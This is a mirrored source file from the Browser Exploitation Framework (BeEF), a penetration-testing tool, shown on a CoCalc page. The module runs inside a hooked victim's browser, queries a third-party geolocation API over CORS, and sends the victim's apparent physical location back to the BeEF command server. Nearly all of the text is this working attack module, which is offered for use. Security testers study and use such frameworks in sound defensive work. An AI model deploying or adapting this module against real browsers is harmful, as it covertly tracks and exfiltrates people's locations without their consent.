Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/physical_location_thirdparty/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var url = "<%= @api_url %>";
9
var timeout = 10000;
10
11
if (!beef.browser.hasCors()) {
12
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());
13
return;
14
}
15
16
beef.net.cors.request('GET', url, '', timeout, function(response) {
17
beef.debug("[Get Physical Location (Third-Party] " + response.body);
18
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.are.status_success());
19
});
20
});
21
22